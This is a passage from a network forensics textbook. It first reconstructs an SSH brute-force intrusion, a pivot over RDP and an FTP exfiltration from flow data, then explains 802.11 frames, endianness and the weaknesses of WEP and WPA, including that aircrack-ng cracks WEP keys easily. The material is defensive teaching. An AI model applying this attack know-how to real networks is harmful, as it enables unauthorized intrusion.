e 13:04:14—DMZ victim ends port sweep of internal network targeting port 3389.

e 13:04:32—DMZ victim begins a series of connections to 192.168.30.101 on port 3389
(TCP). This port is commonly associated with RDP, a remote connection protocol
commonly used on Microsoft Windows systems.

e 13:05:33—192.168.30.101 begins outbound connections on port 21/TCP (FTP) to
the attacker, 172.30.1.77.

e 13:07:03—192.168.30.101 conducts a particularly large outbound data transfer to
172.30.1.77, with a likely file size of 15,872 bytes.

e 13:15:55—Last flow record from 172.30.1.77 to DMZ victim (port 22/TCP). Connec-
tion still active.

e 13:15:55—Last flow record from DMZ victim to 192.168.30.101 (port 3389/TCP).
Connection still active.

e 13:16:09—Flow captures end.

5.7.6 Theory of the Case

Now that we have put together a timeline of events, let’s summarize our theory of the case.
Again, this is a working hypothesis strongly supported by the evidence, references, and
experience:

e The attacker (172.30.1.77) conducted a port scan of the DMZ victim 172.30.1.231
(10.30.30.20).

e The attacker found that TCP port 22 (SSH) was exposed on the targeted DMZ victim
172.30.1.231.

e The attacker (172.30.1.77) conducted a brute-force password-guessing SSH attack on
the DMZ victim, 172.30.1.231 (10.30.30.20). After approximately 8 minutes, this attack
was successful.

e The attacker logged into the DMZ victim 172.30.1.231 (10.30.30.20) using SSH and
conducted a port scan of the internal network.

e Two systems, 192.168.30.30 and 192.168.30.90, were responsive and had port 22/TCP
open.
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e From the DMZ victim 172.30.1.231 (10.30.30.20), the attacker also conducted a port
sweep of the internal network for open port 3389 (RDP).

e Three systems had port 3389 open: 192.168.30.100, 192.168.30.101, and 192.168.30.102.

e The attacker, pivoting through the DMZ victim 172.30.1.231 (10.30.30.20), logged into
192.168.30.101 via RDP.

e On 192.168.30.101 (172.30.1.227), the attacker used FTP to connect outbound to
172.30.1.77.

e The attacker transferred a file from the internal system 192.168.30.101 (172.30.1.227)
to the attacker’s system, 172.30.1.77.

5.7.7 Response to Challenge Questions

Now, let’s answer the investigative questions posed to us at the beginning of the case.

e Identify any compromised systems

The evidence suggests that at least two systems were compromised: the DMZ victim
(10.30.30.20) and an internal system (192.168.30.101). The attacker compromised the
DMZ victim through a brute-force SSH password-guessing attack, and was able to
leverage access to the DMZ in order to access a system on the internal network. The
internal system, 192.168.30.101, did not appear to be subjected to a password-guessing
attack before the RDP connection, so it may be the case that the attacker was able
to reuse the same password in order to log into both systems remotely.

e Determine what the attacker found out about the network architecture
Based on the port scanning activity and responses that we have seen, we can expect
that the attacker found out that:

— Firewall rules allow connections via TCP port 22 to the DMZ victim, 172.30.1.231
(10.30.30.20).

— The ANFRF has at least two subnets: 10.30.30.0/24 and 192.168.30.0/24.

— Firewall rules also allow access from the DMZ to various systems on the internal
network for TCP ports 22, 80, 443, 514, and 3389.

— FTP traffic (TCP port 20/21) is allowed outbound from the internal network.

e Evaluate the risk of data exfiltration
Based on our analysis, the risk of data exfiltration is high. The flow record data includes
strong evidence that an outbound FTP connection was made from an internal system
to the external attacker, and that a significant amount of data was transferred over
this connection.

5.7.8 Next Steps

Using only flow record data, we have learned a significant amount about the events that likely
transpired on April 27, 2011. As forensic investigators, where do we go from here? Although
this depends on the resources and goals of the organization initiating the investigation,
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often the next steps involve a two-pronged attack of gathering additional evidence and
containing/eradicating any compromise. In this case, common next steps might include:

e Containment/Eradication What can ANFRF staff do to contain the damage and
prevent further compromise? Here are a few options:

— Change all passwords that may have been compromised. This includes any pass-
words related to the DMZ victim, 10.30.30.20, and the internal system
192.168.30.101. Organizations that “play it safe” may choose to reset all
passwords.

— Rebuild the two compromised systems, 10.30.30.20 and 192.168.30.101 (after
gathering evidence from them as needed).

— Tighten firewall rules to more strictly limit access from the DMZ to the internal
network. Is there really a need for DMZ systems to access internal systems? Limit
this access to the greatest extent possible.

— Block outbound connections on TCP ports 20/21 (FTP), and any other ports
that are not needed.

— Remove or restrict access to the externally exposed SSH service, if possible.

— Consider using two-factor authentication for external access to the network.
Single-factor authentication is risky and leaves the system at much higher risk of
compromise due to brute-force password guessing, as we have seen.

e Additional Sources of Evidence Here are some high-priority potential sources of
additional evidence that might be useful in the case:

— Central Logging Server—Based on the flow record data, there may be syslog
traffic (port 514) sent over the network. (Although TANA has only assigned UDP
514 to syslog, many organizations have switched to using TCP for transport of
syslog data, and frequently choose to use TCP 514 for syslog.) It would be wise
to inquire with local system administrators to determine if there is a central
logging server. If so, logs from this system can be gathered and analyzed. In
particular, authentication logs from the two compromised systems (10.30.30.20
and 192.168.30.101) would be of great interest.

— Firewall logs—The firewall logs may provide more granularity regarding denied
and allowed network activity relating to the incident.

— Hard drives of compromised systems—Forensic analysis of the compromised sys-
tem hard drive may reveal detailed information about the attacker’s activities,
or at the very least, allow for an inventory of confidential information that may
have been compromised.
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Chapter 6

Wireless: Network Forensics
Unplugged

2

“You are only coming through in waves ...
—Pink Floyd"

Wireless networks are everywhere. They exist in enterprises, homes, subways, buses, cafes,
anywhere people go. For an investigator, wireless networks can be a boon or a wretched
headache. In the best scenarios, wireless networks provide easy access to client traffic, a
convenient entry point into the network, and extensive access logs.

On the other hand, many wireless devices and access points do not retain access logs,
especially when deployed with default configurations. Client systems tend to be connected
transiently, and their physical locations are often unknown or difficult to pinpoint. Employees
or attackers can set up rogue wireless networks, unbeknownst to central IT staff, for the
purposes of convenience or covert data exfiltration. Wireless devices in the enterprise can
pose a major challenge for forensic investigators—especially since these same devices are
often accessible from the parking lot of a facility and can represent a major loophole in
organizational security defenses.

Wireless devices have exploded in popularity during the past decade. It is impossible to
enumerate all the wireless devices that exist in even a single person’s house, let alone a large
corporate environment. Individuals often walk around carrying multiple wireless devices,
such as cell phones, iPads, laptops, Bluetooth headsets, and GPS tracking devices.

Common types of wireless devices and networks include:

e AM/FM radios

Cordless phones

Cell phones
Bluetooth headsets

Infrared devices, such as TV remotes

1. R. Waters and D. Gilmour, “Comfortably Numb,” The Wall (EMI, 1979).
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Wireless doorbells

Zigbee devices, such as HVAC, thermostat, lighting, and electrical controls
Wi-Fi (802.11)—LAN networking over RF
e WiMAX (802.16)—“last-mile” broadband?

Why investigate wireless networks? Here are some examples of cases involving wireless
networks:

e Recover a stolen laptop by tracking it on the wireless network.

e Identify rogue wireless access points that have been installed by insiders for conve-
nience or to bypass enterprise security.

e Investigate malicious or inappropriate activity that occurred via a wireless network.

e Investigate attacks on the wireless network itself, including denial-of-service, encryption-
cracking, and authentication bypass attacks.

In addition, you may find yourself capturing wireless packets, investigating wireless
routers and switches, or conducting a forensic analysis relating to any other topic in this
book where the physical layer happens to be air rather than a cable or fiber.

Wireless networks, particularly those based on IEEE 802.11 (“Wi-Fi”) standards, have
proliferated in the last decade. These days almost no enterprise is without them. As a result,
every network forensic investigator should be prepared to handle wireless evidence.

With computing devices getting smaller and more mobile, we are increasingly reliant
upon wireless connectivity. The proliferation of mobile devices is putting pressure on gov-
ernment and enterprises alike to expand the availability of network access. In the United
States, the Federal Communications Commission (FCC) has been instructed to facilitate
ubiquitous broadband access.

If you calculate the expense of a network deployment versus the number of potential
endpoints that can be supported, wireless networks are clearly the economical option. In
general, it is cheaper to deploy a wireless network than run all the cables necessary for a
wired infrastructure. This is especially important in sparsely populated areas where cables
might have to be run long distances or over rough terrain, and also in high-density areas
where older buildings were not designed with modern wiring needs in mind. As a result,
wireless networks are being deployed in nearly every type of environment, often replacing
or expanding existing network access.

In this chapter, we focus our attention on 802.11 “Wi-Fi” networks specifically. This is
because Wi-Fi networks are extremely common both in the enterprise and at home, and we
can leverage many of our previously discussed forensic techniques on 802.11 Wi-Fi networks.
Many of the concepts we cover in this chapter are also applicable to other types of wireless
devices and networks.

2. Ian Mansfield, “WiMAX Companies Receive $504 Million in Funding for Last Mile Broadband Projects,”
Cellular-News, October 20, 2010, http://www.cellular-news.com/story/45995.php.
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6.1 The IEEE Layer 2 Protocol Series

As previously discussed in Chapter 3, “Evidence Acquisition,” the IEEE has published
a series of international standards (“802.117) for Wireless Local Area Network (WLAN)
communication. These standards specify protocols for WLAN traffic in the 2.4, 3.7, and 5
GHz frequency ranges. The term “Wi-Fi” is used to refer to certain types of RF traffic, which
include the IEEE 802.11 standards. For more details about passive evidence acquisition of
802.11 traffic, please see Section 3.1.2, “Radio Frequency” in Chapter 3.

As analysts of network traffic, it is easy to get in the habit of assuming that all of the
protocols that we care about are described in an IETF RFC. It is worth remembering that
not all standards are sponsored by the IETF (see discussions in Chapter 4). Many of the core
network protocols, especially at Layer 2, were instead proposed and published by IEEE stan-
dards groups—particularly the 802 series, which covers Ethernet (802.3), trunking (802.1q),
LAN-based authentication (802.1X), and various aspects of Wi-Fi (802.11) including both
WEP- and WPA-based encryption standards.

6.1.1 Why So Many Layer 2 Protocols?

You may be wondering why we need so many different protocols for Layer 2 functionality.
Often, network forensic students ask, ‘“Why didn’t we just use existing Ethernet standards
over RF just like we did over copper?’’ Radio frequency and copper simply don’t have the
same physical characteristics, and so signals sent across them don’t behave the same way! In
order to insulate Layer 3 protocols (chiefly IP) from those differences in physical properties,
we need intermediary protocols to allow a uniform interface to the network layer, regardless
of the physical media.

We’ve been talking about how a wireless access point is essentially just a Layer 2 hub,
but it’s a little bit more complicated than that. A physical copper hub can be relied upon
to deliver signals from each station to every other station.

For forensic investigators, it is important to realize that if you are capturing traffic
from a wireless network, there may well be stations actively participating in the network
that you cannot overhear from your vantage point, due to signal strength (unlike on wired
media, where voltages propagate much more reliably through copper or fiber cables). This
simple fact has far-reaching effects on both data link—layer protocols themselves and forensic
analysis of the wireless evidence.

While Ethernet (802.3) is designed to use the “carrier sense multiple access with collision
detection” (CSMA/CD) method, the 802.11 wireless protocols we discuss use “carrier sense
multiple access with collision avoidance” (CSMA/CA). We briefly review these concepts in
the next sections.

6.1.1.1 CSMA/CD

Ethernet, designed for wired networks, is a protocol based on CSMA /CD. What this means
is that all stations on the network share the same medium—typically a star-shaped but
essentially physically contiguous piece of copper. A single conductor can only transmit one
single signal at a time, by raising the voltage on the line (a “one”) or reducing the voltage
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on the line (“a zero”). In other words, only one station can be using the “multiple access”
medium at the same time. (There may be other more sophisticated and multiplexing ways
to encode signals with electrons on copper, but that’s how Ethernet does it.) Meanwhile, it
must be all stations’ responsibility to make sure that the wire is live and in use (the “carrier
sense” part of CSMA) and to detect if any two stations are trying to use it at the same time
(the “collision detection” part).

This isn’t always easy, as electrons don’t propagate down copper instantaneously, so
two stations on the farthest ends of the circuit could commence sending at roughly the
same time without realizing that someone else down the wire was trying to talk too. The
specified result is that the first station that detects overlapping signals should send out a
special “jamming” signal to all stations, essentially informing everyone that they need to
stop talking and try again, but only after selecting at random a time increment to wait (so
that they don’t all try at once again).

6.1.1.2 CSMA/CA

In wireless LANSs, collisions cannot be reliably detected by the sender. On a wire, the high
and low voltages will eventually propogate to every station, so long as they remain physically
connected. In contrast, on a wireless network, it is entirely common to have multiple stations
sharing the same frequency and channel, even if each station is not necessarily capable
of detecting all signals from its peers. As long as a station can reliably send and receive
signals to and from the access point, it can participate in the network. A station that can
communicate with the access point but not other stations is referred to as a “hidden node.”

Since collisions cannot be reliably detected over radio frequency, 802.11 wireless networks
are designed to use collision avoidance techniques by decreasing the likelihood that two
stations will attempt to communicate at the same time. As described in the IEEE 802.11-
2007 standard, before transmission, a station on the wireless network listens to determine if
the transmission medium is idle. If it is busy, the station waits until the end of the current
transmission, and then it waits an additional random amount of time before attempting
to send traffic. This helps to reduce the likelihood that all stations will transmit at once.
In addition, stations can also exchange control frames of message type “request-to-send”
and “clear-to-send” to help avoid collisions, as described further in Section 6.1.2.1, “802.11
Frame Types.”3

6.1.2 The 802.11 Protocol Suite

The IEEE developed the 802.11 protocol suite as a standard for data link—layer transmission
over wireless physical media, including the radio and infrared frequency spectra. 802.11
is designed to incorporate CSMA/CA, in keeping with the needs of the wireless physical
medium.

3. IEEE, “IEEE Standard for Information technology—Telecommunications and information exchange be-
tween systems—Local and metropolitan area networks—Specific requirements Part 11: Wireless LAN
Medium Access Control (MAC) and Physical Layer (PHY) Specifications” (June 12, 2007): 251,
http://standards.ieee.org/getieee802/download/802.11-2007.pdf (accessed December 31, 2011).


http://standards.ieee.org/getieee802/download/802.11-2007.pdf

6.1 The IEEE Layer 2 Protocol Series 203

6.1.2.1 802.11 Frame Types

The 802.11 protocol suite defines different types of frames. For forensic investigators, differ-
ent types of frames contain different types of evidence, as we will see.
There are three types of 802.11 frames:

e Management Frames—Govern communications between stations, except flow con-
trol;

e Control Frames—Support flow control over a variably available medium (such as
RF);

e Data Frames—Encapsulate the Layer 3+ data that moves between stations actively
engaged in communication on a wireless network.

802.11 is a complicated Layer 2 protocol in many respects. Figure 6-1 is a chart that
shows the 802.11 frame’s data structure. You’d be forgiven for looking at the chart in Figure
6-1 and wondering to yourself what the fields meant—especially since there are several
6-byte locations for frame addresses. The purpose of each “address” field is dependent upon
the frame’s type and subtype.*

Management Frames Management frames (type 0) are designed to coordinate communi-
cation on any wireless LAN, from infrastructure networks to individual stations sending out
probe requests. These frames are the glue that keeps the stations together through a single
access point, or on an extended series of bridged access points. Management frame subtypes
include Association Requests, Association Responses, Probes, Beacons, and others.

For forensic investigators, management frames are important for several reasons. First
and foremost, they are not encrypted. As a result, these clear-text frames provide a wealth
of information as to which stations are trying to communicate, in which ways, and with
whom. At a minimum, type 0 frames are interesting because their subtypes indicate basic

IEEE 802.11 Frame Header

Bytes 0 1 2 3

0x00 | Ver. [Type| Subtype | DS [F|R[P[M[w[O] Duration/ID

0x04 Address 1

0x08 Address 1, cont. [ Address 2
| 0x0C Address 2, cont.

0x10 Address 3

0x14 Address 3, cont. ] Sequence Control

0x18 Address 4

0x1C Address 4, cont. [ Frame Body

Figure 6-1. The 802.11 frame's data structure, which includes four fields for 6-byte MAC
addresses per frame. How each is used is dependent upon the frame's type and subtype.

4. IEEE, “IEEE Standard for Information technology—Telecommunications and information exchange be-
tween systems—Local and metropolitan area networks—Specific requirements Part 11: Wireless LAN
Medium Access Control (MAC) and Physical Layer (PHY) Specifications” (June 12, 2007): 59-87.
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associative activities. In addition, with a bit of statistical analysis (as we’ll soon see), they
can provide a treasure trove of forensic data. From the information in a management frame,
you can enumerate station MAC addresses, infer likely manufacturers, identify access point
Basic Service Set Identification (BSSID) and Service Set Identifiers (SSIDs), investigate
successful and failed authentication attempts, and more.

Management frames are often the target of manipulation or the vector of attacks against
an access point. As we will see, common attacks such as WEP cracking and Evil Twin
attacks are often facilitated through manipulation of management frames, or simply careful
attention to the details broadcast within them.®

Management frame subtypes include:

e 0x0 — Association Request

e Ox1 — Association Response
— Status Code: 0x0000 — Successful

e 0x2 — Reassociation Request
e (0x3 — Reassociation Response
e 0x4 — Probe Request

e 0x5 — Probe Response

e 0x6 — Reserved

e 0x7 — Reserved

e 0x8 — Beacon frame

e 0x9 — Announcement Traffic Indication Map (ATIM)
e 0OxA — Disassociation

e 0xB — Authentication

e 0xC — Deauthentication

e 0xD — Action

e OxE — Reserved

e OxF — Reserved

Control Frames Control frames (type 1) are designed to manage the flow of traffic across
a wireless network. One of the main challenges wireless protocol designers faced is the
“hidden node” problem. Recall that while on a wired medium, it can be presumed that
every station will eventually be able to see all nodes (as voltages propagate to all stations).
With RF, it is entirely possible that some stations cannot “see” each other, while still

5. IEEE, “IEEE Standard for Information technology—Telecommunications and information exchange be-
tween systems—Local and metropolitan area networks—Specific requirements Part 11: Wireless LAN
Medium Access Control (MAC) and Physical Layer (PHY) Specifications,” 79-87.
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being networked using the same notional physical media (since they can each “see” the
WAP). One way of addressing this problem is to have individual stations send “request-to-
send” control frames, and for all stations to watch for corresponding “clear-to-send” and
“acknowledgment” frames. That way availability of transmission and reception can be tested
prior to the establishment of data circuits.

There are three control frame subtypes (as displayed by Wireshark, with the high-order
nibble set to “1” for the “Control” type):

e 0x1B—Request-to-send (RTS)
e 0x1C—Clear-to-send (CTS)
e 0x1D—Acknowledgment

Control frames are relatively sparse, but can provide an investigator with information
about timing and station MAC addresses.

Data Frames Data frames (type 2) contain the actual data transmitted across the wireless
network, including encapsulated higher-layer protocols. For instance, every IP packet that
flows across the wireless 802.11 network is part of the payload of an 802.11 data frame.

There are many different data frame subtypes, including the Null function (subtype 4),
indicating no data. However, the most interesting is likely to be those where the subtype is
0 (Data).5

As a forensic investigator, if the wireless network is not encrypted, or if you have access
to the encryption key and can gain access to unencrypted data frames, then you can capture
and analyze the wireless traffic at Layer 3 and above. Even encrypted data frames can still
be analyzed using statistical flow analysis techniques to reveal volumes and directionality
of traffic and stations involved.

6.1.2.2 802.11 Frame Analysis

When you analyze captured network traffic, how do you know which bits correspond with
which protocol fields? This may seem like a trivial question at first, but stations can be
configured to transmit the bits in different orders, depending on the data link—layer protocol
used. As long as the sending and receiving station are both synchronized to interpret and
reassemble the bits according to the same protocol, that is all that matters.

The order that bits are transmitted in the 802.11 protocol suite is not straightforward.
This can cause forensic analysts to produce incorrect results if you are not careful. To fully
understand how the bits we capture correspond with protocol charts and field descriptions,
let’s first explore the concept of “endianness.”

Endianness The term “endianness” emerged from the tale Gulliver’s Travels, in which
Gulliver encounters two groups of people: the Lilliput and the Blefuscu. The Lilliput people
insist on cracking open their eggs at the little end (and hence, are “little-endian”), whereas

6. IEEE, “IEEE Standard for Information technology—Telecommunications and information exchange be-
tween systems—Local and metropolitan area networks—Specific requirements Part 11: Wireless LAN
Medium Access Control (MAC) and Physical Layer (PHY) Specifications,” 77-79.
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the Blefuscu are convinced that everyone should crack their eggs open at the big end (“big-
endian”).”

This idea was eventually applied to the field of computer science. Both humans and
computers can be programmed to read, write, and transmit numbers in different orders. We
refer to this distinction as “endianness.” When the most-significant digit is ordered first, the
system is called “big-endian.” When the least-significant digit is ordered first, the system is
called “little-endian.”

As trivial as it may seem, the concept of “endianness” is deeply important for the pur-
poses of computer science and network implementation. While it doesn’t really matter which
order we choose to transmit bits, it ¢s important that we agree on standards so that bits
can be transmitted and properly interpreted at the other end.

Most of the time when we refer to “big-endian” we mean that the most significant
byte is represented, stored, or transmitted first (though we can use other data boundaries
than bytes—commonly including 16-bit or 32-bit words). When we refer to “little-endian”
we usually mean that the least significant byte is represented, stored, or transmitted first
(though again we could be referring to byte order within a 16- or 32-bit word, or the word
order itself).®

Figure 6-2 shows an example of how the concept of “endianness” applies in the familiar
example of Hindu-Arabic numerals using base-10 math. “Base 10” means that we use 10
different characters (in this case, 0 through 9) to represent any arbitrary numerical value.
In Figure 6-2, the left-most digit represents the number of thousands, the next digit to the
right represents the number of hundreds, the next digit to the right represents the number
of tens, and finally the right-most digit represents the number of ones. As a result, we can
refer to the right-most digit as “least significant” (its value is the smallest) and the left-most
digit as “most significant” (its value is the largest).

In English, we read Hindu-Arabic numerals from left to right. That means that we
have been trained to read the number in Figure 62 beginning with the “most significant
digit” on the left. Hence, Hindu-Arabic numerals read by English-speakers are considered
“big-endian.”

108 102 10" 100
1000s 100s 10s 1s
1 0O 2 4

= 1,024

Figure 6—2. Basel0O: From left to right, 1000s, 100s, 10s, 1s. Since we normally read Hindu-
Arabic numerals from left to right, beginning with the “most significant bit,” this numbering
system is “big-endian.”

7. Jonathan Swift, Gulliver’s Travels (London: Penguin, 2010).

8. IEEE, “IEEE Standard for Information Technology—Telecommunications and information exchange
between systems—Local and metropolitan area networks—Specific requirements Part 11: Wireless LAN
Medium Access Control (MAC) and Physical Layer (PHY) specifications Amendment 6: Medium
Access Control (MAC) Security Enhancements” (July 23, 2004), http://standards.ieee.org/getieee802/
download/802.11i-2004.pdf.
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6.1.2.3 Network-Byte Order (TCP/IP, but NOT 802.11)

Network Protocols: Big-Endian or Little-Endian?

With respect to network protocols, if the most significant value is transmitted first, the
system is “big-endian.” If the least significant value is transmitted first, the system is “little-
endian.” If the system is a combination of these methods, it is considered “mixed-endian”
or “middle-endian.”

Network forensic analysts are used to viewing captured bits in big-endian form. The IP
protocol specifies the order the bits are transmitted across the network as big-endian.® This
is often referred to as “network-byte order.”

As described in RFC 791, “Internet Protocol—Appendix B: Data Transmission Order”:

The order of transmission of the header and data described in this

document is resolved to the octet level. Whenever a diagram shows a
group of octets, the order of transmission of those octets is the normal
order in which they are read in English. For example, in the following

diagram the octets are transmitted in the order they are numbered.

0 1 2 3
01234567890123456789012345¢678901
t—t—t—t—t—t—t—t—t—t—t—t—t—t—t -ttt -ttt -ttt -ttt -ttt —F—+—+
| 1 | 2 | 3 | 4 |
t—t—t—t—t—t—t—t—t—t—t—t—t—t—t—t—F—t—t—dt—t—t—t—t -ttt -ttt —t—+—+
| 5 | 6 | 7 | 8 |
tot—t—t—t—t—t—t—t—t—t—t—t—t—t—t—F—t—t—F—t—t—F—t—t—dt—t—Ft—F—t—t—+—+
| 9 | 10 | 11 | 12 |
tot—t—t—t—t—t—t—t-t—t—t—t—t—t—t—F—t—t—t—t—t—F—t—t—F—t—t—F—t—+—+—+

Transmission Order of Bytes [IP Protocoll]

Whenever an octet represents a numeric quantity the left most bit in the
diagram is the high order or most significant bit. That is, the bit
labeled 0 is the most significant bit. For example, the following
diagram represents the value 170 (decimal).

01234567
tot—t—t—t—t—t—+-+
/11t 01010 10|
tot—t—t—t—t—t—+—+

Significance of Bits [IP Protocol}

Similarly, whenever a multi-octet field represents a numeric quantity
the left most bit of the whole field is the most significant bit. When
a multi-octet quantity is transmitted the most significant octet is
transmitted first.

9. Jon Postel, “RFC 791—Internet Protocol, Darpa Internet Program Protocol Specification,” Information
Sciences Institute, University of Southern California, September 1981, http://rfc-editor.org/rfc/rfc791.txt.
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6.1.2.4 802.11 Endianness

The IEEE 802.11 specification transmits bits in a different order from the TCP/IP protocol
suite, which most network forensic analysts are familiar with. Hence, the need for this
discussion!

Mixed-endian? 802.11 is neither big-endian nor little-endian, but is best described as
“mixed-endian.” While the bit ordering within each individual data field is big-endian, the
fields themselves are transmitted in reverse order, within the byte-boundaries.

The top diagram in Figure 6—3 shows the written protocol specification for the first two
bytes of a typical 802.11 Data Frame (type 2, subtype 0). You can see that the payload is
encrypted—note that the privacy bit, marked with a “W.” is set to 1 (the “W” originally
meant “WEP-protected,” though now it could be protected with TKIP or AES-CCMP
instead). The bit ordering depicted in the top diagram shows what we would expect to
capture if the 802.11 frame were transmitted in network-byte order like IP, which it most
certainly is not.

When the first byte of the frame is actually transmitted, the least significant field (“Sub-
type”) is sent first! The Type goes second, and the protocol version goes third. When libpcap
receives the bytes, they arrive bit-for-bit as shown in the lower chart in Figure 6-3. Notice
that in the second byte, all seven fields were sent in reverse order, though the bit ordering
within the 2-bit DS field remains intact. Similarly, the bit ordering within the Version, Type
and Subtype fields remains intact.

This has an immediate impact on the values you see displayed in libpcap-based tools
such as Wireshark and tcpdump.

Binary sequences (series of 1s and 0s) can be encoded easily in hexadecimal to facilitate
reading and interpretation by human analysts. For example, Wireshark displays each frame’s
data in the order received, in the “Packet Bytes” frame at the bottom of its window.

The bits are displayed, nibble by nibble, in hexadecimal representation. When interpret-
ing the data, libpcap treats the bit received first as the most significant bit in the nibble. As

First 2 Bytes of the IEEE 802.11 Frame Header

Some example bit values, and their hexadecimal representations:

Version| Type Subtype DS FIR|P|M|W|O

0 of1 0JO O O O0O|]O 1]J]0]J]O0O]JO]JO]1]0O0
version/type/subtype = 0x20 flags = Ox42

yte boundaries:

Subtype Type [Version| O | W| M| P | R | F DS
o 0 o o|1 0JO O0JOoft1t]jOofO]JO]JO]O 1
version/type/subtype = 0x08 flags = Ox41

Figure 6-3. 802.11 traffic: Comparison of field orders within the byte-boundaries. The top
diagram represents the protocol specification, whereas the bottom diagram represents the
order of bits captured via libpcap.
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Type/Subtype: Data (0x28)

B Frame Control: 0x4108 (Normal)

Version: @
Type: Data frame (2)
Subtype: ©
—| Flags: 8x41
...... 81 = DS status: Frame from STA to DS via an AP (To DS: 1 From DS: @) (@x81)
.8.. = More Fragments: This is the last fragment
. B... = Retry: Frame is not being retransmitted
.0 = PWR MGT: STA will stay up
..0. = More Data: No data buffered
1. = Protected flag: Data is protected

B... .... Order flag: Not strictly ordered
Duration: 52

DCEC TAd: Ficen 13 E1.00.40 (0033 E0ET « O AD)

0008 [LEESl 34 06 08 23 69 61 ©8 do 08 11 22 33 44 55 Iﬂ4..#ia ...."3DU
0018 00 23 69 61 00 ce 00 b7 86 bf 47 00 ae Ta 61 4e Hla.... .. G...aN

Figure 6-4. In the Packet Details panel, Wireshark interprets the 802.11 frame correctly. In
the Packet Bytes panel below, you can see the order that the bits were actually transmitted
across the wire (shown as hexadecimal). The 802.11 transmission was mixed-endian.

a result, the hexadecimal representation of a byte in the Packet Bytes window may differ
from the protocol-aware interpretation of the meaning of the bits.

Figure 6—4 shows an example of an 802.11 data frame in Wireshark. As you can see, in
Wireshark’s Packet Details panel, Wireshark has correctly interpreted the first byte of the
802.11 frame (“Version/Type/Subtype”) as 0x20 (0b00100000). However, when you view
the raw traffic in the Packet Bytes panel below, it appears as 0x08, since the bits were
actually received in that order (0b00001000).

Let’s look at the second byte of the 802.11 frame, the “Flags.” This contains six single-bit
frame control flags and the 2-bit DS field. These are transmitted in reverse order, from least
to most significant, field-by-field! Again, while Wireshark correctly interpreted the flags in
the second byte (as seen in the Packet Details panel), due to the order in which the bits were
received, the Packet Bytes panel displays 0x41 (0b01000001), and not 0x42 (0b01000010).
See Figure 6-3 for details.

This can get a bit confusing to say the least!

6.1.2.5 Wired Equivalent Privacy (WEP)

Wired Equivalent Privacy (WEP) is part of the 802.11 standards, published by the IEEE.
It was proposed as a way to enable a WAP to provide a “private” network, similar to the
environment that a wired hub could provide due to natural limitations of the physical media.

To gain access to a WEP-encrypted wireless network, users need knowledge of a “shared
secret” key to gain access to the wireless hub’s service at Layer 2. (Recall that the WAP’s
physical layer—radio frequencies—is by definition a physically broadcast medium. Any sta-
tion with a suitable antenna in range and tuned to the appropriate frequency and channel
may observe and transmit data over the Layer 1 shared physical medium.)

Problems in WEP-land The WEP protocol has a couple of significant problems, which has
led to its being deprecated in favor of newer wireless privacy protocols such as WPA2. Most
importantly, the WEP protocol has a commonly known flaw that allows any eavesdropper
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(any station with sufficient RF gain) to harvest unprotected key material, which can then
be used to expedite a brute-force attack and recover the shared encryption key. Widely
published tools such as “aircrack-ng” make it easy even for beginners to crack WEP keys
and access “protected” wireless networks. We discuss this vulnerability in greater detail in
Section 6.4.4, “WEP Cracking.”

WEP (and other protocols used with shared secret keys) also pose a logistical Layer 8
(human) problem. The most obvious is that a “shared secret” is not really a secret at all. If
the network administrator has to give the WEP key to many people, Layer 8 failures should
be anticipated, expected, and compensated for. Adding to that problem is the logistical
difficulty in changing the shared secret, which means that even compromised shared secrets
often remain unchanged for long periods of time.

Forensic investigators should assume that WEP-protected segments are at high risk of
compromise, and may be a likely vector for unauthorized network intrusions. On the plus
side, investigators who are (legally) conducting covert investigations without the knowledge
of local IT staff may find that WEP-protected networks are a convenient point of covert
entry to the network.

If WEP is so broken, why are we still studying it? Although WEP has widely known
flaws, it is also still widely implemented. Happily, most commodity Wi-Fi hardware now
supports WPA2 (see below). However, forensic investigators still often encounter WEP in
use today, for a variety of reasons, such as:

o Legacy equipment—Sometimes WAPs are deployed and forgotten, or never maintained,
or passwords are never rotated. Lack of resources may prevent equipment upgrades.

e Modern equipment deployed to support legacy equipment—Modern WAPs may be de-
ployed in an environment where other legacy devices persist, and therefore must be
configured to support the lowest common denominator with respect to key length and
cryptosystem.

Often, if a WAP is working, system administrators simply never touch it. Unfortunately,
the model “if it ain’t broke, don’t fix it” doesn’t really apply when a device’s functionality
continues, even as the security model completely breaks down.

How can you tell if a packet capture or stream is encrypted? 802.11 management frames
have a “Privacy” subfield that is set to “1” when “data confidentiality is required for all
data type frames exchanged within the BSS.”!? In other words, when the access point is
configured to use WEP, WPA, or WPA2, the “Privacy” subfield in WAP management frames
is set to 1.

802.11 data frames include a “Protected” bit within the first byte offset of the 802.11
MAC framing, which indicates whether encryption is in use. (Remember, when specifying
offsets, we begin counting from zero!) The “Protected” bit is set to “1” when WEP, WPA,

10. IEEE, “IEEE Standard for Information Technology—Telecommunications and information ex-
change between systems—ILocal and metropolitan area networks—Specific requirements Part 11: Wire-
less LAN Medium Access Control (MAC) and Physical Layer (PHY) specifications Amendment 6:
Medium Access Control (MAC) Security Enhancements,” (July 23, 2004), http://standards.ieee.org/
getieee802/download/802.11i-2004.pdf.
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or WPA2 is enabled. This bit-sized field was previously labeled the “WEP” field, but this
name was changed when the 802.11i standard was updated in 2004.'!

6.1.2.6 TKIP, AES, WPA, and WPA2

Clearly, WEP did not provide the level of protection that its designers had intended. The
802.11 working group had to come up with something better to replace it, but they were also
constrained because the replacement protocol had to be compatible with existing networking
hardware.

In response, the IEEE 802.11 working group came up with a new protocol that the
Wi-Fi Alliance dubbed “Wi-Fi Protected Access” (WPA). WPA was a stop-gap measure
designed to deal with some of the weaknesses of WEP, such as key rotation. This was done
through the introduction of the Temporal Key Integrity Protocol (TKIP). In 2008 flaws
were discovered in TKIP as well, and as a result there are widely available tools that exist
to crack WPA pre-shared keys (PSKs).

Happily, the working group also drafted specifications for the use of the “Counter Mode
with CBC-MAC Procotol” (CCMP) mode of the Advanced Encryption Standard (AES).
This is at the core of the improvements that the Wi-Fi Alliance has termed “WPA2,” which
is far more secure (although it requires equipment upgrades over the original equipment).
Properly implemented, WPA2 is not known to be broken.

In order for stations to communicate their ability to conform to the new specifications,
a new category of functionality was created called robust security networks (RSNs). Sta-
tions configured to support RSN associations (RSNAs) such as WPA and WPA2 include
RSN information within the tagged parameters of management frames, including Beacons,
Association Request, Reassociation Request, and Probe Response. Figure 6-5 shows RSN
information displayed in an 802.11 management frame. Forensic investigators can therefore
filter traffic to isolate packets that employ specific types of encryption algorithms, or none
at all.'?

In summary:

e WPA is:
— Designed to work with legacy 802.11 hardware.
— Intended to compensate for keying weaknesses (using TKIP).
— Already broken.

e WPA2 is:

— Required next generation hardware.
